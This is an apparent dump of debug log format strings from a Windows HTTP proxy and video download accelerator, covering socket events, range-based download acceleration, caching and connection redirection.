[HttpProxyRemote::SaveRedirectInfo] FDM=%d (%d),Req:%d - SetCookie: %s (Request)
[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error: The function BuildHeader field.
[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d - GetCookie: %s
[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error: The function SetRanges field.
[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error ParseHeader
HttpProxyRemote::UpdateRequest
[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.
[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d - Redirected: %d
[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error: The function UpdateRequest failed.
[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d *** ReStarting the job ***.
[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error: The function UpdateDomainName %s failed.
[HttpProxyRemote::ReStartCurrentJob]
[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.
[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error - Reached max redirections: %d
[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - The error was not handled.
[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - Worker Status was set to WORKER_STATUS_ERROR.
[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - Job State was set to JOB_STATE_ERROR.
[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - The worker should be stopped - network error is Permanent !
[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - The worker should be stopped - reached Maximum errors !
[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - Network Error severity: %d.
[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - m_DownloadState: %d, Errors: %d.
[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d, JobState:%d ___Error - range download flag is %d, m_DownloadState: %d, Errors: %d.
[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d - Completed !
[HttpProxyRemote::UpdateParameters] ___Error invalid job or request
[HttpProxyRemote::UpdateParameters] FDM=%d (%d),Req:%d - Already connected
[HttpProxyRemote::UpdateParameters] FDM=%d (%d),Req:%d
[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d ___Warning: socket is not ready for writing.
[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d ___Warning: worker is not ready for download - State: %s
[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d - Already Connected to IP:%s.
[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d ___Error: The function UpdateParameters failed.
[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d - Starting %lld-%lld (size: %lld)
HttpProxyRemote::StartJob
[HttpProxyRemote::StartRecoveredJob] FDM=%d (%d),Req:%d
[RequestInfo::DownloadAccelerated] Req:%d - Accelerate: %d
[RequestInfo::SetPassThrough] Req:%d - ON
[RequestInfo] Req:%d
[~RequestInfo] Req:%d
https:
%s=%s%s%s
[HttpCookieJar::GetCookie] Removing cookie: %s
[HttpCookieJar::SetCookies] Removing cookie: %s
[NetworkEventsSink::RefreshSocket] socket %d - Refreshed
[NetworkEventsSink::RefreshSocket] ___Error WSAAsyncSelect on socket %d. LE: %d
[NetworkEventsSink::RefreshAsyncSocket] socket %d - Refreshed
[NetworkEventsSink::RefreshAsyncSocket] ___Error AsyncSelect on socket %d. LE: %d
[NetworkEventsSink::ClearSocketMessages] Messages: %d
[NetworkEventsSink::Find] socket %d - was found.
[NetworkEventsSink::Find] socket %d
[NetworkEventsSink::RemoveFromSocketsMap] socket %d - was removed from the sockets map.
[NetworkEventsSink::RemoveFromSocketsMap] socket %d - was not found in the sockets map.
[NetworkEventsSink::RemoveFromSocketsMap] socket %d
[NetworkEventsSink::WindowProc] Finished %s (%d) on socket %d. Err: %d
[NetworkEventsSink::WindowProc] ___Error %s occured (event %x) on socket %d
[NetworkEventsSink::WindowProc] *** %s occured on socket %d, Err: %d.
UNSUPPORTED_EVENT
[NetworkEventsSink::Work] ___Error creating a windows. LE: %d.
[NetworkEventsSink::Work] The class %s was register.
[NetworkEventsSink::Work] ___Error register the class %s. LE: %d
[NetworkEventsSink::RemoveSocket] socket %d - Removed from events sink.
[NetworkEventsSink::RemoveSocket] ___Error removeing socket %d from sockets map.
[NetworkEventsSink::RemoveSocket] ___Error WSAAsyncSelect on socket %d. LE: %d.
[NetworkEventsSink::RemoveAsyncSocket] socket %d - Removed from events sink
[NetworkEventsSink::RemoveAsyncSocket] ___Error removeing socket %d from sockets map.
[NetworkEventsSink::RemoveAsyncSocket] ___Error AsyncSelect on socket %d. LE: %d
[NetworkEventsSink::AddToSocketsMap] ___Warning - socket %d already exists in sockets map.
[NetworkEventsSink::AddToSocketsMap] socket %d - was added to sockets map.
[NetworkEventsSink::AddSocket] socket %d - Added events sink.
[NetworkEventsSink::AddSocket] ___Error WSAAsyncSelect on socket %d. LE: %d
[NetworkEventsSink::AddSocket] ___Error adding socket %d to sockets map.
[NetworkEventsSink::AddAsyncSocket] socket %d - Added to events sink
[NetworkEventsSink::AddAsyncSocket] ___Error AsyncSelect on socket %d. LE: %d
[NetworkEventsSink::AddAsyncSocket] ___Error adding socket %d to sockets map.
[CNetworkInterfaceManager::GetNumberOfInterfaces] Count: %d
[CNetworkInterfaceManager::RegisterInterfaceEvents] Total: %d
[CNetworkInterfaceManager::GetCellularInterfaceAddress] %s - %s
[CNetworkInterfaceManager::GetWifiInterfaceAddress] %s - %s
[CNetworkInterfaceManager::UnRegisterInterfaceEvents] Total: %d
[CNetworkInterfaceManager::VerifyInterface] Network Interface: %s
[CNetworkInterfaceManager::UpdateLocalIPs] Total: %d
[CNetworkInterfaceManager::UpdateLocalIPs] LocalHost IP: %s
[CHttpCacheManager::Cleanup] Cleanup, LastAccess: %d, LastCleanup: %d
[CHttpCacheManager::CreateCacheData] Cleanup, LastAccess: %d, LastCleanup: %d
[CHttpCacheManager::FindCacheData] Url: %s
Cookie: %s
[CHttpCacheManager::DestroyCacheData] Url: %s
[CHttpCacheManager::StopAllCaching] Try to stop - CD:%d, Domain: %s
[CHttpCacheManager::StopAllCaching]
[CHttpCacheManager::Work] ...Leave
[CHttpCacheManager::Work] Cleanup - LastAccess: %d, LastCleanup: %d, Interval: %d -> %d
[CHttpCacheManager::Work] Enter...
[AsyncSocket::Listen] ___Error listening on socket %d. LE: %d
[AsyncSocket::SetInternalFlag] socket %d - SOCKET_IS_CELLULAR: %d -> %d
[AsyncSocket::SetInternalFlag] socket %d - SOCKET_CAN_BE_WRITE_TO: %d -> %d
[AsyncSocket::SetInternalFlag] socket %d - SOCKET_CAN_BE_READ_FROM: %d -> %d
[AsyncSocket::SetInternalFlag] socket %d - SOCKET_CONNECTION_ESTABLISHED: %d -> %d
[AsyncSocket::GetInternalFlag] socket %d - SOCKET_IS_CELLULAR: %d
[AsyncSocket::GetInternalFlag] socket %d - SOCKET_CAN_BE_WRITE_TO: %d
[AsyncSocket::GetInternalFlag] socket %d - SOCKET_CAN_BE_READ_FROM: %d
[AsyncSocket::GetInternalFlag] socket %d - SOCKET_CONNECTION_ESTABLISHED: %d
[AsyncSocket::IsConnected] ___Warning Socket %d - not connected or invalid.
[AsyncSocket::IsConnected] ___Warning Socket %d - not connected. ret: %d, LE: %d
[AsyncSocket::Read] socket %d, Read: %d, Total: %lld
[AsyncSocket::Read] ___Warning - socket %d can't read from yet.
[AsyncSocket::Read] ___Error reading from socket %d. LE: %d
[AsyncSocket::Read] ___Warning - socket %d is not ready to read from.
[AsyncSocket::Write] socket %d, Written: %u, Total: %lld.
[AsyncSocket::Write] socket %d, Written: %u, Total: %lld. (BytesWrittenSinceLastSecond: %d)
[AsyncSocket::Write] ___Error - socket %d. LE: %d.
[AsyncSocket::Write] ___Warning - socket %d is not ready for writing. LE: WSAEWOULDBLOCK.
[AsyncSocket::Write] ___Warning - socket %d. LE: WSAENOBUFS, reducing buffer size...
[AsyncSocket::Write] ___Error - socket %d failed writing for %d seconds !!!
[AsyncSocket::Write] ___Warning - socket %d is not ready for writing (wait for FD_WRITE event).
[AsyncSocket::Write] ___Error - socket %d invalid.
[AsyncSocket::SetSockName] socket %d, IP: %s, Port: %u
%u.%u.%u.%u
[AsyncSocket::SetPeerName] socket %d, IP: %s, Port: %u
[AsyncSocket::SetMaximumBPSToWrite] socket %d - Max Bps: %d
[AsyncSocket::EnumNetworkEvents] socket %d - Events: %X, Signaled: %X
[AsyncSocket::Ioctl] socket %d, cmd: %d, argp: %p, pOverlapped: %p
[AsyncSocket::GetOverlappedResult] socket %d
[AsyncSocket] socket %d
[AsyncSocket::Initialize] socket %d was initialized.
[AsyncSocket::Initialize] ___Error registering on the network events for socket %d.
[AsyncSocket::Initialize] socket %d - changed SO_SNDBUF: %d
[AsyncSocket::Initialize] socket %d - SO_SNDBUF: %d
[AsyncSocket::UnInitialize] socket %d
[AsyncSocket::Close] socket %d, do nothing
[AsyncSocket::Close] socket %d ___Error RemoveIgnoredConnection
[AsyncSocket::Close] socket %d
[~AsyncSocket] socket %d
[AsyncSocket::Bind] ___Error binding socket %d to port: %u. LE: %d
[AsyncSocket::Bind] new socket %d - %s : %d
[AsyncSocket::Bind] socket %d - %s : %d
[AsyncSocket::Connect] socket %d - connected !
[AsyncSocket::Connect] ___Warning socket %d - Async connecting... LE: %d
[AsyncSocket::Connect] ___Error socket %d, LE: %d
[AsyncSocket::Connect] socket %d - Already connected !
[AsyncSocket::Connect] ___Error socket %d - Already connected to another IP: %s, Port: %u
[AsyncSocket::Connect] socket %d - IP: %s, Port: %u
[CProxyServerPassThrough::SocketReadyToWriteInto] FDM=%d (%d)
[CProxyServerPassThrough::SocketWasConnected] FDM=%d (%d)
[CProxyServerPassThrough::SocketWasClosed] FDM=%d (%d) - SocketReadyToReadFrom
[CProxyServerPassThrough::SocketWasClosed] FDM=%d (%d)
[CProxyServerPassThrough::ErrorOnSocket] FDM=%d (%d)
[CProxyServerPassThrough] FDM=%d
[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error adding port %d to ignore list
[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) socket %d - going to add port %d to ignore list
[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error invalid IRedirectController
[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error GetSockName, LE: %d
[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error binding socket %d, LE: %d
[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error invalid socket
[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - After writing %d bytes into upper level
[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - Going to write the %d bytes into the upper level
[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - Read %d bytes from socket %d
[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) ___Error Reading from socket %d
[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - Reading from socket %d
[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) ___Error invalid socket
[CProxyServerPassThrough::ConnectToServer] FDM=%d (%d) ___Error connecting, LE: %d
[CProxyServerPassThrough::ConnectToServer] FDM=%d (%d) - Connected to %s : %d
[CProxyServerPassThrough::ConnectToServer] FDM=%d (%d) - Connecting to %s : %d
[HttpProxyServer::ConnectToServer] FDM=%d (%d) ___Error invalid socket
[CProxyServerPassThrough::GetDestinationIpAndPort] FDM=%d (%d) ___Error getting the destination details. Local: %s:%d
[CProxyServerPassThrough::GetDestinationIpAndPort] FDM=%d (%d) - Local: %s:%d, Remote: %s:%d, PID: %d
[CProxyServerPassThrough::GetDestinationIpAndPort] FDM=%d (%d) ___Error invalid IRedirectController
[CProxyServerPassThrough::IsPassThrough] FDM=%d (%d) ___Error GetDestinationIpAndPort
[CProxyServerPassThrough::IsPassThrough] FDM=%d (%d) ___Error getting the connected IP and Port
[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) ___Error ConnectToServer
[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) ___Error to initialize Worker: %d.
[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) - Going to initialize Worker: %d.
[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) ___Error not enough memory to allocate ProxyPeer.
[SubjectDataProperty::Serialize] ___Error not supported yet
[SubjectDataProperty::Deserialize] ___Error not supported yet
m_PropertyValue.pszValue
m_PropertyValue.pValue
[SubjectDataProperty::GetValue(int)] ___WARNING: m_PropertyType is: %d
[SubjectDataProperty::GetValue(UINT)] ___WARNING: m_PropertyType is: %d
[SubjectDataProperty::GetValue(DWORD)] ___WARNING: m_PropertyType is: %d
[SubjectDataProperty::GetValue(char*)] ___Error: The buffer is too small (Internal Buffer Size: %d, Internal Buffer Size %d)
[SubjectDataProperty::GetValue(BYTE*)] ___Error: The buffer is too small (Internal Buffer Size: %d, Internal Buffer Size %d)
[CacheManager::GetCacheWriter] FDM=%d, Dummy - CacheWriter: %p
[CacheManager::GetCacheWriter] FDM=%d, Real - CacheWriter: %p
[CacheManager::Pause] FDM=%d
[CacheManager::Resume] FDM=%d
[CacheManager::SetCacheData] FDM=%d - CD:%d (pICacheData: %p)
[CacheManager::SetFileDownloadMgr] FDM=%d - pIFileDownloadMgr: %p, DownloadSize: %lld
[CacheManager::IsWritingComplete] FDM=%d *** Writing Completed *** (%lld >= %lld)
[CacheManager::StopCacheData] FDM=%d - CacheData has incomplete HTTP header - going to destroy it...
[CacheManager::StopCacheData] FDM=%d
[CacheManager::Stop] FDM=%d
[CacheManager::FindWorkerByRange] FDM=%d - Cache Worker Found!
[CacheManager::FindWorkerByRange] FDM=%d ... Cache Worker range: %lld-%lld
[CacheManager::FindWorkerByRange] FDM=%d ___Error pJobInfo invalid
[CacheManager::FindWorkerByRange] FDM=%d ___Error pICacheWorker invalid
[CacheManager::FindWorkerByRange] FDM=%d ___Error Cache Workers list is empty
[CacheManager::FindWorkerByRange] FDM=%d - Find Chache Worker of range: %lld-%lld
[CacheManager::WriteAvailableBuffer] FDM=%d *** Reached end of Workers list ***
[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - Not finished yet. (status:%d)
[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p ___Warning Failed to write from cache. (status:%d)
[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - WORKER_STATUS_ERROR
[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - *** Set Active ***
[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - *** Cache Worker Finished ***
[CacheManager::WriteAvailableBuffer] FDM=%d *** Cache Manager Finished ***
[CacheManager::WriteAvailableBuffer] FDM=%d *** Workers list is empty ***
[CacheManager::WriteAvailableBuffer] FDM=%d - Not Working ! (State: %d)
[CacheManager::WriteAvailableBuffer] FDM=%d - State: %d
[CacheManager::RemoveAllWorkers] FDM=%d
[~CacheManager - %p] FDM=%d
[CacheManager::Reset] FDM=%d
[CacheManager::CreateWorker] FDM=%d - Already has an Active CacheWorker: %p
[CacheManager::CreateWorker] FDM=%d - Set Active CacheWorker: %p
[CacheManager::CreateWorker] FDM=%d - Created CacheWorker: %p, Active is: %p
[JobsManager::MergeFailedJobs] Job:%d  = Job:%d
[JobsManager::CreateJob] Job:%d, %lld-%lld
[JobsManager::CreateJob] ___Warning Job:%d, %lld-%lld, already exist
[JobsManager::CreateTimeJob] Job:%d, %lld-0
[JobsManager::DestroyJob] Job:%d
[AccelerationLogicHD::GetInitialRanges] FDM=%d *** Range Size: %lld (%d)
[AccelerationLogicHD::GetInitialRanges] FDM=%d *** Time Range Size: %lld (%d)
[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error - Unknown algorithm
[AccelerationLogicHD::GetInitialRanges] FDM=%d - Update InitialRangeSize: %lld (bytes)
[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Warning - Master downloaded more then its range (%lld > %lld). Reducing number of connection to %d
[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error Time Acceleration: LastTimeEndPosition   InitialTimeRangeSize > StartTimePosition   TotalPlayDuration (%lld   %lld > %lld   %lld)
[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error LastEndPosition >= StartPosition   DownloadSize - 1 (%lld >= %lld)
[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error RangeIndex > NumberOfConnections (%d > %d)
[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Warning AccelerationLogic == AL_NO_ACCELERATION
[AccelerationLogicHD::SetTimeStartPosition] FDM=%d - Start Time Position: %lld (%lld)
[AccelerationLogicHD::SetLastTimeEndPosition] FDM=%d - Last Time End Position: %lld (%lld)
[AccelerationLogicHD::IsToUseOriginalRequest] Res = %s.
[AccelerationLogicHD::IsPartner] Partner = %d
[AccelerationLogicHD::CalculateRangeSizeLimit] ___Warning SizeLimit %d RangeSize cut from %d to %d
[AccelerationLogicHD::CalculateRangeSizeLimit] FDM=%d - Size limit: %lld
[AccelerationLogicHD::UpdateToRegistryValues] BufferingTime: %d
[AccelerationLogicHD::UpdateToRegistryValues] DelayTime: %d
[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - n64MinimumRangeSize: %lld
[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - NextRangeSize was reduced to the maximum range size: %lld
[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - LastMaxRangeSize was increased to: %lld
[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - MaxRangeSizePerConnection: %lld
[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - Did not finish downloading the pre-buffering: %lld
[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d ___Warning *** Potential Buffering Predicted *** - Player has less then 2 seonds play time: %lld
[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d ___Warning *** Potential Buffering Predicted *** - Played all written bytes: %lld
[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d ___Warning *** Potential Buffering Predicted *** - Played all ranges
[AccelerationLogicHD::CalculateNextRangeSize] WorkerBps: %d
[AccelerationLogicHD::CalculateNextRangeSize] PlayRate: %d
[AccelerationLogicHD::CalculateNextRangeSize] 3G: %d
[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - NextRangeTimeSize was set to the maximum range time size %.1f
[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - LastMaxRangeTimeSize was increased to %lld
[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - n64MaxRangeTimeSizePerConnection %lld
[AccelerationLogicHD::GetMinTimeRangeSize] %d (sec)
[AccelerationLogicHD::GetInitialTimeRangeSize] %d (sec)
[AccelerationLogicHD::GetInitialRangeSize] %d (bytes)
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - In about: %.1f seconds
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - Player has less then 2 seconds play time: %lld bytes
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - Played all written bytes: %lld
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - PlayerPosition >= DownloadPosition (%lld >= %lld)
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Download Potential Buffering Predicted *** - TimeLeftToDownload: %.1f
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d - Wait for at least 10 seconds... (%lld)
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d - Wait for at least 5 seconds... (%lld)
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d - Wait until finish downloading the player initial cache...
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning invalid m_pRedirectDomainRule
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning Active job has completed
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning Time acceleration is not supported yet...
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Error invalid pJobInfo
[AccelerationLogicHD::GetNextRange] FDM=%d *** Next Range Size: %lld (%d), 3G: %d
[AccelerationLogicHD::GetNextRange] FDM=%d *** Next Time Range Size: %lld (%d), 3G: %d
[AccelerationLogicHD::GetNextRange] FDM=%d ___Error - Unknown algorithm
[AccelerationLogicHD::GetNextRange] FDM=%d ___Error LastTimeEndPosition   InitialTimeRangeSize (%lld   %lld) > StartTimePosition   TotalPlayDuration (%lld   %lld)
[AccelerationLogicHD::GetNextRange] FDM=%d ___Error LastEndPosition (%lld) >= StartPosition   DownloadSize - 1 (%lld   %lld)
[AccelerationLogicHD::AccelerateIsSupported] FDM=%d ___Warning - No rule for this domain
AccelerationLogicHD::AccelerateIsSupported
[AccelerationLogicHD::GetRedirectRuleName] FDM=%d - %s
[AccelerationLogicHD::IsToAccelerate] FDM=%d - Enable Acceleration - DownloadRate: %d, PlayTime: %d (Delay: %d)
[AccelerationLogicHD::IsToAccelerate] FDM=%d - Last End Position: %lld --> %lld (%lld)
[AccelerationLogicHD::IsToAccelerate] FDM=%d ___Warning - Range Acceleration not needed - All file was downloaded... (%lld >= %lld)
[AccelerationLogicHD::IsToAccelerate] FDM=%d - Last Time End Position: %lld --> %lld (%lld)
[AccelerationLogicHD::IsToAccelerate] FDM=%d ___Warning - Time Acceleration not needed - All file was downloaded... (%lld >= %lld)
[AccelerationLogicHD::IsToAccelerate] FDM=%d ___Warning - Network too slow for acceleration - wait for pre-buffer to complete... (%d < 7KBps)
[AccelerationLogicHD::FileShouldBeAccelerated] ___Warning - aktimeoffset not supported
[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - Trail expired
[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - No rule pointer for this domain
[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - No rule for this domain
[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - Server is known to not support ranges
[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - not a GET command
[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - Number of connection is set to one
[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - Initial & Max TimeRangeSize: %lld (ms)
[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - Initial & Max RangeSize: %lld (bytes)
[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - MaxNumberOfConnections: %d
[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - iTunes
[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - QuickTimeWinInet
[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d ___Error - invalid m_pRedirectDomainRule
[AccelerationLogicHD::IsPartner] ___Error - get module filename: %d
[AccelerationLogicHD::Reset] FDM=%d
[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Default Uri Offset Token: %s
[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Default Time Token: %s
[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Uri Range Token: %s
[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Uri Offset Token: %s
[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Time Token: %s
[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Rule Location: %d
[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d ___Error - invalid m_pRedirectDomainRule
[CConnectionsManager::OnStartAcceleration] Max: %d, Init: %d, AvgBps: %d
[CConnectionsManager::ResetStartAcceleration] AvgBps: %d
[CConnectionsManager::GetNumberOfConnections] Decreased to: %d, AvgBps: %d (%d)
[CConnectionsManager::GetNumberOfConnections] Increased to: %d, AvgBps: %d (%d)
[CConnectionsManagerSocket] socket %d
[CConnectionsManagerSocket::OnReadEvent] socket %d
[CConnectionsManagerSocket::OnWriteEvent] socket %d
[CConnectionsManagerSocket::OnCloseEvent] socket %d
[CConnectionsManagerSocket::OnAcceptEvent] socket %d
[CConnectionsManagerSocket::OnConnectEvent] socket %d
[~CConnectionsManagerSocket] socket %d
[CConnectionsManager::OnReadEvent] socket %d
[CConnectionsManager::OnWriteEvent] socket %d
[CConnectionsManager::OnConnectEvent] socket %d - Connect Time: %d ms
[CConnectionsManager::PrepareAccelerationConnections] Max: %d, Remote: %s:%d
[CConnectionsManager::AddConnection] socket %d - Remote: %s:%d
[CConnectionsManager::AddConnection] ___Warning socket %d - not connected
[CConnectionsManager::Work] Remote: %s:%d - Done.
[CConnectionsManager::Work] ___Error Connect socket %d
[CConnectionsManager::Work] ___Error AsyncSocket Initialize. LE: %x
[CConnectionsManager::Work] Add socket %d - Remote: %s:%d
[CConnectionsManager::Work] Remote: %s:%d
[CConnectionsManager::Cleanup] %d sockets left in map
[CConnectionsManager::Cleanup] Cleaning %d sockets from map
[CConnectionsManager::RemoveConnection] socket %d
[CConnectionsManager::GetConnection] *** Found socket %d - %s:%d (3G: %d)***
[CConnectionsManager::GetConnection] socket %d - Not matching - %s:%d
[CConnectionsManager::GetConnection] ___Warning socket %d - not ready for Writing or not Connected to %s:%d
[CConnectionsManager::GetConnection] ___Warning socket %d - not connected to %s:%d
[CConnectionsManager::GetConnection] ___Warning socket %d - GetPeerName
[CConnectionsManager::GetConnection] ___Warning socket %d - GetInternalFlag(SOCKET_IS_CELLULAR) - %d
[CConnectionsManager::GetConnection] Remote: %s:%d, 3G: %d
[CConnectionsManager::OnCloseEvent] socket %d
lighttpd/1.4.8
[AccelerationLogic::SetPlayDuration] FDM=%d - Play Duration: %lld
[AccelerationLogic::SetDownloadSize] FDM=%d - Download size: %lld (%lld)
[AccelerationLogic::SetTotalFileSize] FDM=%d - Total File size: %lld
[AccelerationLogic::SetStartPosition] FDM=%d - Start Position: %lld (%lld)
[AccelerationLogic::SetLastEndPosition] FDM=%d - Last End Position: %lld (%lld)
[AccelerationLogic::SetNumberOfConnections] FDM=%d - Max Connections: %d
[AccelerationLogic::SetInitialNumberOfConnections] FDM=%d - Initial Connections: %d
[AccelerationLogic::SetMaximumRangeSize] FDM=%d - Max Range Size: %lld
[AccelerationLogic::SetMaximumBpsToWriteIntoSocket] FDM=%d - Max BPS: %d
[AccelerationLogic::SetRequestRangeLocation] Request Range Location: %d
[AccelerationLogic::UpdateBytesWritten] FDM=%d, Job:%d (3G: %d) - BytesWritten: %lld, TotalBytesWritten: %lld (%lld   %lld)
[AccelerationLogic::ReportOnStartPlay] FDM=%d, Job:%d (3G: %d)
[AccelerationLogic::ReportOnDownloadComplete] FDM=%d (3G: %d)
[AccelerationLogic::IsResponseRangeBiggerThenMaster] FDM=%d ___Warning - Range >= Master (%lld >= %lld)
[AccelerationLogic::IsToIncreaseWorkers] FDM=%d - Increased connections to: %d (%d)
[AccelerationLogic::SetPlayRate] FDM=%d - Play Rate: %d
[AccelerationLogic::UpdateBytesDownloaded] FDM=%d, Job:%d (3G: %d) - BytesDownloaded: %lld, TotalBytesDownloaded: %lld (%lld   %lld)
[AccelerationLogic::CalculateNextRangeSize] PlayTimeLeft %d
[AccelerationLogic::CalculateNextRangeSize] WorkerBps %d
[AccelerationLogic::CalculateNextRangeSize] nPlayTime %d
[AccelerationLogic::CalculateAverageWorkerBPS] FDM=%d - Total Average BPS: %d, Worker Average BPS: %d (%d/%d)
[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d - Rule Domain Name: %s
[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d ___Warning - Using generic rule
AppleWebKit
[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d ___Warning - No Rule for Domain: %s
[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d - Look for rule using - Host: %s, ContentType: %s
[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d ___Error getting IAccelerationConfiguration
[AccelerationLogic::IsResponseRangeMatchRequestRange] FDM=%d *** Acceleration is not supported by the server ***. The field %s is not %s
[AccelerationLogic::IsResponseRangeMatchRequestRange] FDM=%d *** Acceleration is not supported by the server ***. The field %s was not found.
[AccelerationLogic::IsResponseRangeMatchRequestRange] FDM=%d ___Error GetRequestRangeLocation failed.
AccelerationLogic::AccelerateIsSupported
[AccelerationLogic::ReportOnRequestFinished] FDM=%d, Job:%d (3G: %d)
[AccelerationLogic::UpdateFileContentType] FDM=%d - ContentType: %s
[AccelerationLogic::UpdateRequestURI] FDM=%d - URI: %s
[AccelerationLogic::UpdateFileHost] FDM=%d - Host: %s
[AccelerationLogic::UpdateFileContentDisposition] FDM=%d - Content-Disposition: %s
[AccelerationLogic::UpdateUserAgent] FDM=%d - User-Agent: %s, Download: %d
NonSupportRangeServersList
[AccelerationLogic::IsResponseCodeValid] *** Acceleration is not supported by the server ***. The response code %s is not %s
[AccelerationLogic::CreateAnyRule] FDM=%d
[AccelerationLogic::FileShouldBeAccelerated] DailyMotion seek not supported
[AccelerationLogic::IsOurConnection] FDM=%d *** Acceleration is not allowed ***. Module: %s
[AccelerationLogic::Reset] FDM=%d
[~AccelerationLogic - %p] FDM=%d - ... Leave
